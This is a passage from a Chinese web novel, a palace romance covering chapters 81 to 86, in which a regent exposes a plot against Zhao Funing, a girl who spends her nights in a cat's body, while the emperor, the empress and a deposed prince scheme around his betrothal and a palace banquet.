福宁瞳孔放大,惊讶地望望丹心,蓝色的眸子茫然又涣散。
谁对江雪娥的王妃之位有影响?丹心说谁?
啊??
江雪娥怎么想的,摄政王不喜欢她、要同她退婚,跟自己有什么关系!
福宁扭头又看看谢珩玉。
后者面色不变。
丹心咳完了,继续说,“于是,老爷夫人便想委屈二小姐,与崔家商议婚事的时候,大度地表示,可以允许崔世子娶赵小姐为平妻,赵小姐与崔世子青梅竹马两情相悦,如今赵家落魄,没有不同意的理由,便可解了大小姐的心事……”
第81章 谢珩玉铁树开花?皇帝大喜!
“后来赵小姐拒绝了,可二小姐认为,不改变赵小姐在崔世子心中的地位形象,她便很难走进崔世子心里,故出此下策,也因此今日相约崔世子去郊外,目的便是为了见证赵小姐失贞。”
语毕,丹心紧张地看向对面。
阴暗的牢房中,她看不清摄政王的神色,但心里也明白,不会是什么好脸色,不然也不至于打她。
看来,摄政王真的很在乎赵小姐了,今日此举就是为了给赵小姐出头吧。
原来大小姐不是无端揣测。
二小姐的计划,也必然要落空了。
从前赵小姐的地位就在二小姐之上,往后只会更甚,恐怕仰头都看不着了……
谢珩玉伸出食指戳了戳安静到异常的福宁,一边问下属,“记好了?”
京影卫点头,“是。”
而后叫丹心画押,再将人放了回去。
直到出了牢狱,福宁还是闷闷不乐地趴着,人怎么能恶毒成江月娇那样呢!
她心里烦闷,偷东西的兴趣都提不起来。
谢珩玉怕她想不开,没再让她去偏房睡,留她在自己的卧房里过夜。
他不确定她是在为了江月娇伤心难过,还是在为了崔兰亭,这世上人性的恶,她还是见得太少了,才会这般。
然而这话,他也不能直说,不然就暴露了。
谢珩玉多次瞅她,她的眼神都放空着。
怕她想不开,他伸出手指,往她的嘴里探去。
福宁发着呆,突然被他的举动惊住,差点咬他,他的手指已然含在嘴里。
“喵儿?”
谢珩玉一手抬着她的下巴,防止她咬,手指在她嘴里探着,要将她的舌头取出来。
可那玩意跟泥鳅似的,滑的很,她还躲,根本捏不住。
等谢珩玉放弃的时候,手指上都是……晶莹的口水。
他嫌弃地皱眉,去洗了几遍手。
从始至终都觉得莫名其妙的福宁,也不舒服,疯狂吐口水。
他有病吧!!!
次日一早,谢珩玉没有进宫上朝,众臣大眼瞪小眼,不敢言。
他虽未去,但由下属记录的口供还是递到了宫里。
如此狠毒的**姐妹,谢珩玉觉得该叫皇兄知道,皇后是给他赐了一门怎样的亲事!
再惩治一下**姐妹,与教女无方的寿安伯。
*
天不遂人愿。
齐武帝看见奏折的时候,听说谢珩玉没去早朝,就知道弟弟还没消气。
齐武帝还躺在龙榻上,先前睡多了,现在觉少,“有什么事,叫他亲自来与朕说。”
话是放下了,太监战战兢兢地出宫去传话。
但太监一走,齐武帝还是没忍住看了奏折的内容,里头夹着一张纸,便是口供。
寿安伯之女……如何如何的,齐武帝仿佛跟看不到似的,就盯着一行字使劲看——
“寿安伯长女担心赵小姐对摄政王妃之位有影响,害怕王爷喜欢赵小姐……”后面巴拉巴拉的。
哦?
齐武帝拧起眉,根本想不到弟弟有跟哪个姓赵的亲近,“赵小姐,哪个赵小姐?谁家的千金啊?”
再往后一看,才看见是有写受害者赵福宁的名字的。
齐武帝还是不记得赵福宁是谁。
还是王皇后来了,适时提醒,“原户部侍郎赵应的千金。”
齐武帝恍然大悟,“那他就写赵应之女不就行了,朕怎么会知道赵福宁是谁!”
怪不得寿安伯之女要担心呢,是该担心的。
哈哈哈。
看来是有那么回事,不然珩玉也不是莫名其妙会上奏给别人做主、讨公道的人。
但凡要做什么事,他自己就能做到。
可见这次所求,不小啊!
片刻功夫,齐武帝都忘了昨天和弟弟的争执与生气,反而为“弟弟有了心上人”这件事感到欣慰。
王皇后看出来了,提醒道:“陛下,怪臣妾没有调查清楚**的秉性,害得珩玉差点跟这样恶毒的女子成亲,他之意,应是取消婚约。”
王皇后可不觉得这跟喜不喜欢赵福宁有什么关系,通篇哪有爱意,而且这都不是谢珩玉写的,显然就是单纯
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的口供而已。
只是事到如今,再想撮合江雪娥与谢珩玉,也是不成的了。
江家的人实在蠢,该出手时不出手,不该出手瞎出手。
齐武帝还沉浸在幻想中,“是该取消,不仅要取消,寿安伯教女如此,理当严惩——”
顿了顿,突然板起脸,话锋一转,“不行,生朕的气,还想要朕给他做主?叫他亲自来与朕说,否则不准。”
“……”王皇后垂着眸,闪过一丝暗芒。
陛下的心中,这个弟弟果真是占了很大一块位置,她一直心中有数,也因此,才会觉得谢珩玉是个大威胁。
好在,在烛儿这件事上,陛下还是拎得清的。
如今烛儿已经放了出来,虽不再是太子,好歹也是陛下看重的嫡长子,将来……还是有机会的。
江雪娥这颗棋子,废了便废了吧。
赵家忠于烛儿,这赵氏之女能让江雪娥产生危机感,哪怕谢珩玉对赵氏没有爱,但只要有一丝特别,这枚棋子便能比江雪娥好用多了。
仔细一想,换一颗棋子,也是不错。
且赵家根基尚且,加之被革了职,正是心灰意冷之际,只要烛儿将其重新扶持,赵家便会忠心不二。
王皇后笑道:“珩玉性子傲又年轻,陛下与他置气作甚呢,不如就成全了他与赵小姐,他高兴了,自然就好了。”
齐武帝冷哼,打定主意不见到谢珩玉低头,就当没看见这口供。
可另一面,也知道弟弟性格吃软不吃硬。
想了想,他出了个主意,“皇后办个宴会,将这几个涉事的,还有赵家女,再多邀请些贵女进宫。”
王皇后:“在陛下昏迷的日子里,赵应已经被珩玉革职,这个时候让赵氏女与其他贵女一同参宴,会不会……”
“针对?”齐武帝挑眉,正中下怀,“珩玉看似冷漠,实则心地柔软,他若知道心上人入宫,朕就不信他还能坐得住!皇后放手去办便是。”
王皇后:……真看不出来谢珩玉柔软在哪儿了。
“臣妾知道了。”
第82章 自缢的废太子来赵家了
被放回去的丹心,忍着伤痛,去医馆买了药,不敢将被审问的事坦白给主子,请大夫帮自己上了药后,才悄悄摸回了寿安伯府。
但即便不说,江月娇也很快发现了丹心的异常。
比如,做事没有以前麻利了,看着一副心虚模样,跟做了什么叛主的事一般。
再比如,碰一下,就哆嗦。
江月娇本就还因昨日计划失败,愤怒又害怕,害怕败露,但又尚存侥幸心里。
毕竟雇佣的**,都未曾见过她的面。
今日见丹心异样,江月娇不免心生怀疑,“你昨夜去哪儿了?”
丹心没想到竟然被她发现了,焦急忙慌地编造,“小姐,奴婢昨夜确实私下出了府,是家中老娘病了。”
江月娇:“这便是你一个早上都魂不守舍的原因?”
丹心连连应是,快速跪下,恳求道:“小姐,奴婢思量一夜,奴婢的娘带大奴婢不容易,如今娘大病想要回老家、落叶归根。”
“所以呢?”江月娇本念在丹心忠诚的份上,想给她二两银子施恩,没想到她这意思,是想离开,“你莫不是经历了昨日的事,害怕了?我告诉你,哪怕摄政王会给赵福宁做主,这事也查不到我身上!你怕什么!”
丹心看着愚蠢又尚存侥幸的主人,眼泪说来就来,“奴婢不怕,奴婢所言皆为真,小姐若不信可以去奴婢家中瞧瞧,若不是万不得已,奴婢自然是想一直跟着小姐的。”
江月娇看她不似作假,可是,“你是我身边最得力的人,我不会给你**契。”
丹心心里苦,“请小姐放奴婢几个月的假,归来后,奴婢当牛做马,伺候小姐!”
语罢,拼命磕头。
为今之计,只有快些离开伯府这座牢笼,小姐做的那些肮脏事,已然被摄政王知道。
昨日摄政王那个态度,真不像会放手不管的样子。
摄政王若要给赵福宁做主,伯府就玩完了,小姐有没有命活不知道,她做奴婢的是必然要被推出去顶祸的。
即便王爷不处置伯府,昨夜出卖了小姐是事实,丹心知道这将是随时会引爆的**,她不能叫伯府发现自己叛主,必须先跑。
江月娇见状,怕不给这假就会寒了丹心的心,影响丹心的忠诚,遂只能同意。
丹心又道:“没有**契,奴婢怕是回不了老家。”
江月娇嫌烦,但还是派人去给丹心办了路引。
另一边,崔兰亭经过一夜的思考,还是打算说服父母,与江家解除婚约。
江月娇又蠢又坏,怎配当他的妻子?
且,如今他认为摄政王不堪投靠。
崔兰亭将自己的顾虑说给父母听,才知父亲也在为此焦灼。
“我们本就是看上她江家与摄政王府的关系,想上摄政王这艘船,江月娇蠢是蠢了些……”
其实江月娇蠢,长平侯都觉得能容忍。
不能容忍的,是摄政王对长平侯府的态度。
他们父子皆看不到一点希望。
加之昨日大皇子已经被赦免,原本极有可能登上皇位的摄政王,已经因为大皇子的事,与陛下争执了。
明眼人都能看出来,大皇子还是有希望的。
长平侯懊悔不已,“早知陛下对大皇子宽容至此,我们何须着急与大皇子撇清干系,与江家定亲。”
定早了。
只是现在想退亲,也来不及了。
总不能前脚刚与江家定了亲,后脚就没有理由地要解除婚约吧!
长平侯夫人:“这可怎么办,要我说,该退就退,江二犯的错还少吗,两次得罪摄政王被罚,名声早就一塌糊涂。”
长平侯提醒道:“可是定亲,是在她被罚之后,怎么能用她被罚、名声受损的理由去退亲?”
“这……”长平侯夫人气得重重放下茶盏,“她那样
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蠢,肯定很快就会犯错了,我们等一等。”
崔兰亭想到昨日的事,心中感慨,的确等一等就成。
他淡定道:“父亲,母亲说得对,静待时机与江家解除婚约,摄政王那边我们不得罪,也不用再讨好,先前急于投靠,是为了与大皇子撇清干系,眼下来看没有这个必要了,但大皇子因这一遭,麾下势力被摄政王消了大半,剩下的都掀不起什么风浪,我们侯府还是先保持中立为好。”
长平侯谨慎点头,“嗯,也只能如此了,大皇子被监禁之时,我们侯府明哲保身的举动、与赵家解除婚约的行为,必然令大皇子不满……”现在是会是两头不讨好了。
倒是赵家,吃了不少苦头,落在大皇子眼里,恐怕还成了忠心不二。
大皇子羽翼不丰,定然会想尽办法重新扶持赵家。
哎。
当初退婚退早了。
哪里知道齐武帝宠爱长子能到这个地步,谋逆都还能有反转。
长平侯现在拍大腿后悔也是没用了。
崔兰亭垂下眸,面色发苦。
长平侯夫妇见儿子这样,惆怅叹息,长平侯说:“即便赵家还能回到原来的位置上,也难再将女儿嫁过来了。”
长平侯夫人点头,“在我心里,福宁丫头确实比江二讨喜得多……要怪就怪你们有缘无分,平白闹这一遭,赵家落魄时没得选择,都不愿意让福宁来侯府做贵妾、平妻,等他们得了大皇子赏识,有了选择,更不会将女儿嫁来侯府。”
“侯爷!”侯府暗卫来报,“属下看见,大皇子出宫,往赵家去了。”
长平侯没想到这么快,静默须臾,“这天要变了。”
午后。
福宁人在家中坐,听说那自缢未卒的大皇子来了,她不可置信地同阿婵确认了两遍,而后不知该说些什么好,“来作甚啊?”
不是自缢了吗,一夜就休养好了?
第83章 摄政王的过去
出宫第一件事是来找她爹,从前也没那么亲近啊,如今没了其他党羽,倒是想到她家了!
谢珩玉肯定更加觉得她家与大皇子谋逆脱不了干系了!
阿婵摇头。
福宁:“那爹娘见他了?”
阿婵一脸认真地点头,“也不能不见吧,老爷革职在家中,没理由不在家。”
福宁起身,又惊又疑,愁得在房里转圈圈。
绕着桌子走了两圈,耿嬷嬷来了,“小姐,夫人叫您去前院。”
“我?”大皇子来了,跟她有何关系?
耿嬷嬷:“大皇子体恤老爷夫人和小姐受屈,送了请柬来,邀请小姐参加皇后娘娘办的宴会,就在后日。”
一听宴会,准没好事。
福宁更愁了,“能不去吗?”
耿嬷嬷:“若是能拒,夫人便替您拒了,只是大皇子言语坚持,老爷夫人推不掉,再推就成不识抬举了,夫人请示了大皇子,大皇子说夫人也可以一同前去。”
“好吧。”福宁只好跟着嬷嬷去前院见大皇子,亲自接皇后娘娘下的请帖。
从前的太子穿的是正黄色,如今不是太子,穿得是浅黄色的常服。
福宁到前院时,她的父母正站在厅堂之中,尊贵的前太子殿下坐在主位上,端起她娘亲自泡的茶。
谢烛嘴角带笑,茶盏在快要贴到唇瓣的位置停下,闻了闻,并不是他喜欢的味道,他不露喜恶,还是尝了一口,后随意放下,余光瞥到快要走到门槛的少女,“赵大人,赵夫人不要拘谨,坐吧。”
赵应与容婉点头,看向女儿,“快来,见过大皇子。”
福宁笑不露齿,规规矩矩地行了礼,然后找着靠门边的位置坐下,远远的。
谢烛瞧她是个内向文气的,心想,那位不好相与的皇叔,竟是这般口味吗?
“这些日子,委屈赵大人了,”谢烛说话时,还多瞧了赵福宁一眼,“也委屈赵夫人与赵小姐了,皇叔向来是爱憎分明,这回是吾牵累你们,待过几日,吾会向父皇请示,让赵大人官复原职。”
赵应闻言,忙站起身推辞,“殿下厚爱,臣不胜荣幸,只是此案,摄政王坚持严查,眼下还未还臣清白,这——”
谢烛面上毫无畏惧,坦然地好像没有谋逆过一样,“不必担心,赵大人两袖清风,父皇心知肚明,皇叔一手遮天本就不对,像赵大人这样忠直之士,朝廷怎么能寒了你的心呢?”
想到皇叔交给父皇的口供,谢烛心中更有底了。
皇叔应该也不会反对赵应官复原职,毕竟……皇叔不仅对赵小姐有意思,还格外厌恶寿安伯一家,与父皇闹着脾气都不忘上奏。
“没有的事又何须自证清白,赵大人有没有参与谋逆之案,吾还能不清楚么?吾自会为你作证,赵大人放心。”
哼。
福宁心里冷哼,这谋逆二字,亏大皇子说得出口。
还有,大皇子说话,有时候和皇后娘娘挺像的,难怪是母子嘞。
忽然,谢烛的目光又朝她投去,伸手将请帖拿在手中,停在半空示意她,“母后特意让吾来邀请赵小姐参与后日的宴会。”
见状,容婉想上前接,谢烛的手却缩了回去。
何意,太明显不过。
福宁大大方方地走上前,屈膝接下,“多谢殿下,多谢皇后娘娘厚爱。”
谢烛收手,指尖从请柬背面划过,他视线还在她的脸上,意味深长道:“赵小姐受的委屈,吾不会让你白受,长平侯父子皆是忘恩负义之辈,怎能配得上赵小姐?赵小姐当配——”
这话一出来,赵应夫妇一惊,完了,果然是冲着囡囡来的!
若是被皇家看上,还真的不能拒绝。
所以千万不能让大皇子把话完整地说出来喽!
于是,赵应很“不小心”地挥手打碎茶盏,瓷器啪嗒掉落在地,打断了谢烛的话。
“呀!殿下恕罪,臣笨手笨脚……”
谢烛一愣,随后脸上的笑意加深,白皙到有些病态的脸上,更柔和也更……不怀好意了。
他看透了赵应之举,并不见怪,“无妨,吾也该走了,皇叔今日未上朝,许是生了病,吾要去看看。”
“赵大人要一起吗?”
看摄政王,赵应当然不去了,“臣就不打扰殿下与王爷叙旧了,呵呵呵。”
明眼人都能看出来,大皇子要挑事了。
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>这对叔侄势同水火,大皇子找上门去,不惹怒摄政王才怪呢!
福宁捏着奏折的手,望着大皇子离去的背影,他除了脸色白一点之外,看起来一点都不像想不开、要自缢的人。
本来,谢珩玉就在气头上,大皇子这个时候去干嘛呢?
不会要故意激怒谢珩玉,然后故意被打,再向陛下告状吧?!
糟糕!
福宁扔下请帖,就急匆匆地跑回房,“爹娘我还有事我走了啊!”
“哎你——”夫妇俩还想同她说会话的,也不知道她要忙什么,昨天今天,都忙得见不着人了。
还想感慨呢。
跑走的闺女又气喘吁吁地跑回来了,“爹娘,我想问件事啊!”
赵应见了,想拿起另一个没摔的茶盏递给她喝。
拿起来,想到这茶盏被大皇子用过了,又放下,“你慢慢说。”
福宁看着父母,语速还是没有慢下来,“摄政王他,到底发生过什么,为什么所有人都觉得他坏啊?”
她想知道。
虽然这些日子,已经知道得不少了,她还是想知道更多。
看人,不能太片面了!
容婉听出了别的意思,“囡囡莫不是觉得摄政王好?”
福宁一噎,忙掩饰,“没有没有,我跟他又不熟的,就是这不是要参加皇后娘娘的宴会么,我想多了解些,万一他们之间有什么过节,我说话也能注意些。”
容婉点点头,想想也是。
赵应往椅子上坐实了,“陛下与摄政王乃先帝德妃所出,年岁差了二十,王爷出生前,当时还是皇子的陛下已经娶了如今的皇后,被派去军营历练,再后来,陛下接连立功获封武王,德妃的父兄平步青云,只是突有一日,宫中传出了德妃失德私通,被处死,武王无诏令归京,按照律法该杖刑,可他并非只身回京,而是带兵回京,他言辞激烈不信生母会私通,陛下用尚年幼的,年仅三岁的小皇子的生命以作威胁,命他退兵回营。”
福宁:“他回去了?”
赵应:“小皇子被挂在城墙上,下来的时候脸都发紫,武王见先帝真的不在意小皇子性命,自然就回去了。”
第84章 爹爹呀!他可不是坏人!
“再后来呢?”
“后来,小皇子被人人遗忘,甚至有传言他不是陛下所出,而是德妃与侍卫私通,所以陛下将他放在冷宫自生自灭,直到十年后,小皇子十三岁那年差点因**死在冷宫,彼时武王羽翼已丰,攻入京城逼先帝退位,也为其生母德妃正了名,让先帝下了罪己诏。”
福宁听得秀眉蹙起,两颊都鼓了,“那……小皇子就是摄政王呗,他十三岁前,过得都是苦日子。”
还没她快乐幸福。
赵应嗯了一声,“陛下与摄政王虽不像普通人家的兄弟那样朝夕相处,但是感情甚笃,陛下见王爷瘦弱,每顿都必须让他吃得营养丰富,这才把身体养好,个子突然蹿上去了,他十几岁的时候,看人便阴森森的,从没个好脸色,更是不爱说话。”
“除了对陛下亲近些,对皇后娘娘也还算恭敬,但对皇子公主、大臣们,从没有笑脸,后来自请去了军营,回来后更是冷漠无情。”
赵应说着叹一声,“有了谋逆一案在先,摄政王与大皇子是势同水火,你只需注意,莫要在皇后面前提及摄政王就是了。”
他交代完,发觉女儿双眸飘忽,正想伸手在她眼前挥一挥。
却听她唏嘘道:“他不是冷漠无情,别人都对他不好。”
赵应愣住了,“你,你怎么……”
福宁惆怅道:“他只对陛下亲近,不正是因为陛下对他好吗,别人对他又不好,不然怎么会**呢?还有,爹爹说德妃的父兄平步青云,可是他在冷宫受苦的时候,怎么这平步青云的舅舅和外祖父就消失了呢?”
她得出结论,“谁换做是他,都没法信赖喜欢别人,怎么还能说他无情冷漠呢?”
语罢,福宁摇着头又跑走了。
留下父亲与母亲相视一眼,不知所措,“囡囡是吃错药了?”
*
一个时辰后。
福宁还在榻上辗转反侧,可算是体验到失眠的滋味了。
心里藏着事,总是难睡些。
待好不容易浅浅睡去,耳边响起谢烛的礼貌又强硬的声音,“皇叔这般铁面无私,是不愿意放过赵家了?”
闻言,福宁唰地睁开眼,一来就听到跟自己有关的事,自然打起十二倍的精神。
此时,她正趴在王府厅堂的椅子上,正对面坐着大皇子。
脑袋往右转,看见谢珩玉靠在主位上,不像谢烛正襟危坐、一看就有礼貌。
谢珩玉的冷漠和不悦,是不被掩饰的,仿佛随时都有可能将人赶出去,装也不装。
他轻嗤一声,“你哪来的脸替赵家求宽宥,你自己都是个戴罪的。”
“……”谢烛的情绪隐藏得很好,“皇叔当真舍得?赵家现在可是落魄得很,连喝得茶叶都是最次的。”
这话说得奇怪,谢珩玉眉头拧了拧,什么叫舍得?
为何要舍不得?
谢珩玉:“还能喝得起茶叶,日子还是富足啊。”
福宁:“……”
谢烛不死心,“皇叔何必藏得这么严实,您对赵家千金的感情,何必瞒着自家人呢。”
歪歪歪!
福宁瞪圆眼睛,什么感情,究竟是谁在乱传啊!
堂堂皇长子,怎么还乱传谣言呢。
谢珩玉不着痕迹地朝椅子上的精神抖擞的猫看了眼,发现她正一眨不眨地盯着谢烛,他冷哼,“本王对她为何要有感
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情,一个罪臣之女。”
虽然知道他对自己没有感情,可福宁听了这话,心里很不舒服。
不喜欢就不喜欢,贬低她干什么?
一次二次三次,都这样!要不是看他救过她的份上,她可就要翻脸了!
“喵!”
叫的这一声,谢珩玉就确认某人又来了。
以往都是入了夜才会来,现在一日来得比一日早,究竟是她太爱睡觉了,还是她……
谢珩玉起身,走到她身边,伸手将她脖颈提起。
“只是罪臣之女吗?”谢烛的声音再响起,语气耐人寻味。
在谢珩玉听来,十分欠揍。
谢烛:“皇叔会为一个罪臣之女上奏,状告自己的未婚妻妹?”
福宁不满的双眸,一下子柔和多了。
就说摄政王不是无情之人吧!看,还是为民做主了!
谢珩玉将她揽入怀里,没坐回位子上,冷嗤道:“本王可不是你。”
“你可以滚了。”
……
谢烛笑意收敛些,看不出生气,顺从地站起身要走,“哦对了,有一事忘了说,母后要举办宴会,会邀请皇叔的……未婚妻呢。”故意不提赵福宁。
谢珩玉毫不在意,一脸与我何关。
谢烛见他全神贯注地对着一只猫,心想现在不说,等到宴会那日再给他惊喜好了。
情急之下,才更能看出心意,不是吗?
福宁又一次看着谢烛离开的背影,她害怕发生的事,没有发生,叔侄俩虽水火不容,到底还是没有争执打架。
正当她出神之际,属于谢珩玉的手掌拍了下来,轻轻打在他脑袋上,“有什么好看,你也喜欢他?”
第85章 王爷为她,金光闪闪
她仰头,一双大眸子看向他。
他低着头,与她的脸正好是反着的。
“喵~”福宁想说,不喜欢。
谢珩玉分辨不出她的意思,顾自道:“你什么都喜欢。”
……
怎么感觉在嘲讽她呢!
福宁皱起不存在的眉毛,挂起了可爱的小脸,仍然显得可爱。
不对,嘲讽的不是她,是小福。
气又消了。
小猫是这样的,小猫没有心眼,当然看谁都喜欢啦。
谢珩玉看着她一会阴一会晴的表情,轻嗤一声。
确认他们没有吵架争执,福宁就打算回家去了。
谢珩玉将她放在院内的石桌上,他便在院内练起剑来了,到底是军营历练过的,那身子与文弱书生完全不一样。
一身并**实的练功服,贴在身上,福宁眨着眼睛看着,仿佛都能看见他的薄肌。
非礼勿视呀!
还是快快回家去吧!
可是每每一闭眼,他那挥剑的回响便越发明显,令她很没安全感,好似下一瞬,那剑就要挥到她的身上来了。
福宁很难不睁眼。
睁眼一看。
吼!果然。
但是她睁开眼后,他就又远了。
几次下来,她都被折磨得炸毛了。
谢珩玉就跟在做什么法似的,诶,说到法——
前些日子王府不是请了道士,说要做法七七四十九天吗,怎么后来好像没看见了?
脑袋里有了这个疑问,福宁便更睡不着了,干脆跳下石桌,去找道士。
谢珩玉转头就看见她摇着尾巴跑了,以为她又该去偷什么东西了,下意识便想跟上。
然,耳旁忽然想起谢烛那句“赵家如今可是落魄得很啊!连喝的茶叶都是最次的。”
他眸光黯了黯,不再与她同去。
周围守着的侍卫朝他看去,目光请示,他小幅度摇了摇头,便无人跟着福宁了。
今天,逛王府格外得顺利。
福宁找了几个院子都没找到道士,便想那骗人的道士肯定是中途被发现了、被赶走了。
她回到燕景园,此时谢珩玉已经没有在练剑了,他正在书房写什么东西。
听闻有动静响起,是她的尾巴扫到了门槛边藏匿的小铃铛。
谢珩玉锐利的眸光扫去,见是她回来了,眸光便柔和许多。
再见她身上什么都没有,便理所当然地认为她是空手而归。
怪了,王府里的东西很难偷吗?
谢珩玉第一次有这样的疑问。
和需求。
看来需要改善一下了。
再见福宁趴在床榻边跃跃欲睡的模样,就知道她不仅没偷到东西,还偷累了。
这不,眼一闭就睡着了。
“白昼。”
谢珩玉唤人进来,思忖着这话要怎么说,“府中太寒碜。”
“啊?”白昼愣住,“王爷是要修缮府邸吗?”哪里寒碜了?没觉得啊。
谢珩玉高深莫测地摇摇头,“不必铺张。”
白昼:“那……”
谢珩玉:“放些值钱玩意,在外面。”
“庭院吗?”
“不要太独特的,放些值钱但大众的。”
得了命令,白昼就去寻宝物了,什么东西是值钱又大众的。
很快白昼想通了,想到那些消失在小福手上的黄金……
看来,王爷还是想查黄金消失的秘密!
于是几个时辰以后,燕景园的庭院四处,摆满了黄金做的配饰,原本雅致肃穆的庭院,现在一片金灿灿。
福宁倒是没看见,她已经回了自己家。
*
后一日。
江家母女亦收到了皇后宴会的邀请,受邀的除了江夫人、江雪娥,庶出的江月娇也在其列。
江月娇受到邀请,那差点害了人的心虚消散了些,想当然地认为,皇后能邀约自己,那么自己害赵福宁的事,摄政王一定没有查出来。
呼。
她真是多虑了,摄政王当然不可能真为了赵福宁,做这些多余的事。
她的状态,落在江雪娥的眼中,便觉出不对劲来,“受皇后邀请,你不高兴吗?”
江月娇回过神,忙摇头,“怎么会,我自然是高兴的,我也是跟着长姐沾光了。”
江
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雪娥仍觉得不对,还想问些什么,然而一旁将宴会请柬交给江夫人的女官并未离去,表情淡淡又客气地道:“江姑娘,娘娘有话要下官带给你,还请移步。”
这话将江雪娥的思虑打断,没功夫再去思考妹妹的异常,恭敬地要带着女官移步到偏厅。
江夫人是有眼力见的,哪能让皇后娘娘身边的心腹多走这几步路,连忙屏退下人,“掌事留步,我与二丫头正要走,你们有话留在这儿慢慢说,待会我让下人再送些茶点过来。”说着便拉着江月娇离开。
下人还体贴地关上了厅堂的门窗。
江雪娥并不像母亲那样,认为皇后有话交代就是恩宠,反而心中忐忑,“掌事,娘娘她……”
女官摆手示意她不要多话,垂了垂无情的眸,传达王皇后的意思,“娘娘说了,这赐婚是她乱点鸳鸯了,作为补偿,待陛下下旨退婚后,会给江小姐另觅良缘。”
“这是何意?!”江雪娥不明白为何王皇后突然改口,“是陛下想退了这门亲吗?”
女官见她不死心的样子,心生厌烦,“江小姐难道还不明白,娘娘虽赐了婚,可最后您能不能与摄政王成婚,还是要看摄政王的意思。挑选嫁衣那日,您就当明白王爷并不满意,可几日,您也没有付出任何行动、改变王爷的心意,你既无能,自有别人来。”
话已经说的十分明了。
江雪娥白着脸,她并非不想付出行动,只是还在准备中。
她到底是大家闺秀,哪能猴急地做出掉价的事,她还需要准备……才几天功夫,皇后娘娘就变了心意。
江雪娥听到了重点,“娘娘她,有了新的人选?”
女官瞥她一眼,并不打算多说,“娘娘提早告诉江小姐,就是怕江小姐临时得知退婚会受不住,娘娘已是仁至义尽了。”
江雪娥想到自己的压力,和这些日子外界的恭维,情急之下靠近女官两步,甚至想给女官塞银子打听,“掌事可否告诉我实情?请掌事帮我带话给娘娘,请娘娘不要放弃我,只要婚约不取消,我定为娘娘肝脑涂地!”
第86章 高枝也会低头,主动让攀
女官哪里能看得上江家的三瓜两枣,后退一步不触碰到银子,面上一副大公无私,“江小姐还是接受现实吧,天下好儿郎多得是,何必非要攀那不愿为您低头的高枝呢?”
女官自认言语有理,在江雪娥耳中,却刺耳无比。
什么叫攀高枝?
“掌事,这婚事,是娘娘赐的,若无端取消,要我在京中如何立足呢?!”
若非王皇后突然指婚,她又怎会被架在高地,被众人吹捧?如今倒嫌她攀高枝了。
女官由始至终表现冷静,倒显得她情绪不稳定了。
“江姑娘是要质问娘娘吗?娘娘说过会为你另赐婚,你还是莫要太得寸进尺,好自为之吧!”说罢,拂袖离去。
江雪娥看着女官推门离去的背影,宫闱女官的服制不染一点尘埃,袖子与下摆随着动作摆动,依旧没有褶皱。
损了的,只有她的颜面罢了。
*
当夜,福宁穿到小福身子里的时候,看见了庭院里闪耀的黄金。
庭院石桌上有一只小金猪,小池塘边摆着小金鱼,还有几个方位摆着金兔、金蛇,金鸡,连接小池塘的石子路上混进了金灿灿的黄金小碎石。
福宁抬头,廊下还挂着黄金流苏——哦不,应该叫风铃。
她有点怕了。
这摆的跟个阵法似的,难道是骗子道士的办法?骗子道士没走?嗯?
还是……试探她?
懂了!
道士没本事,只能用这招引蛇出洞了!
福宁缩缩脚,没往庭院里踏一步,转身缩回房间。
隔日,谢珩玉看见庭院里的黄金纹丝未动,皱了皱眉。
心中第一个想法是——
赵福宁从良了?
但很快摈弃了这个善良的念头,她可不是见钱不开眼的,她俗得很。
那么,就是这些东西没有入她的眼。
真好笑,都这么穷了,还挑。
他嗤笑一声,想唤来白昼换一批黄金,可是话还没出口,他又改了主意。
赵福宁什么身份,哪里值得他费尽心思讨她开心?
看着白昼疑惑的脸,谢珩玉若无其事道:“没事。”
白昼:……
而白昼想起一事,“王爷,今日皇后娘娘在宫中设宴,邀请了江家,会不会跟您的那桩婚事有关?”
谢珩玉冷哼,“随她乱窜,本王的婚事,她做不了主。”
白昼点点头,没再多言。
午后,赵家的马车停在宫外。
福宁跟着母亲下了马车,同时抵达的还有寿安伯府的母女三人,以及另外几家女眷。
从前,江赵两家的女儿是手帕交,两家老爷是上下级,两家夫人自然也时常打招面,相处融洽。
这次,容婉虽不知女儿差点**月娇害死,但也知对方不仁不义,不仅与崔家定亲,还妄图污蔑女儿偷窃王府黄金,这事闹得也算沸沸扬扬。
容婉自然难有好脸色,但也并不会在宫道上直接出言挑衅。
反观江夫人,见到赵家母女的瞬间,脸都要绿了。
赵家是什么身份?怎么还能来参加皇后的宴会!
不仅是江夫人,连同另外几家女眷,脸色也有些微妙,但也因自觉身份高贵,不想开口计较,失了体面。
江夫人无视了赵家母女,带着两个女儿,跟上另外几家女眷的脚步,熟稔地搭起话来。
荣国公府、豫北侯府、户部尚书……这几家女眷,往日是看不上她寿安伯府的,连伯府办寿宴、及笄宴,都未必会赏脸。
然而,因着江雪娥这桩婚约,这几家夫人在见到江夫人走来时,还牵着自家的女儿主动上前、或是原地等待,不消片刻,便能自然地谈笑风生。
宫人在最前头带着路,赵福宁和母亲落在了一众女眷的后头,不发一语地走着。
福宁扭头看看母亲,见她面无异色,稍稍放心些。这些日子下来,自己倒是习惯了,也不觉得有什么。
这些女眷有刻意压低声音,避免失态,福宁听不清对话,只能听着叽叽喳喳的声音。
听了只觉
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得烦,遂拉住母亲的手腕,拖住步伐,走慢一些。
不多时,就拉开距离,听不到前面的声了。
在福宁听不见的范围,前头走着的侯府千金沉不住气地问了声,“娘娘怎么会邀一个罪臣之女……”
这话说到了江夫人的心坎上,毕竟自家伯爷顶的是赵应的职位,家中庶女又顶了赵福宁的婚事,眼下出现在同一场合,她心里膈应,遂要附和那发牢骚的侯府千金。
“就是——”
岂料她不过说了二字,豫北侯夫人便严厉地对女儿道:“住嘴。”
话说快了,语罢,豫北侯夫人才发觉方才江夫人要开口,转过头露出不失礼貌的笑容,假装没听到江夫人的话,“江夫人说什么?”
“没,没什么。”江夫人尴尬摇头。
豫北侯夫人见她没再往下说,点点头。
皇后娘娘既邀请了赵家来,定是有原因的,赵家本就是因给大皇子送礼才被革职,如今大皇子谋逆都安然无恙,即便赵家还未恢复职位,也不敢明着说赵家有罪。
领路的宫人都是皇后宫里的,这话若传到皇后耳朵里,岂不是以为她们豫北侯府也认为大皇子有罪。
以侯府的地位,只是不需要讨好、在意赵家,所以才无视,而不是要踩赵家,毕竟只要一日不死,谁都是有可能东山再起的。
想到女儿的话很可能被赵家母女听见了,为避免产生误会、结仇给未来产生隐患,原本不想在意赵家母女的豫北侯夫人,忽然停下步,朝赵家母女施以歉疚的笑意。
这便算致歉了,后转回头,没再将这小插曲当回事。
然而,隔得较远的福宁,只看见侯夫人回了头。
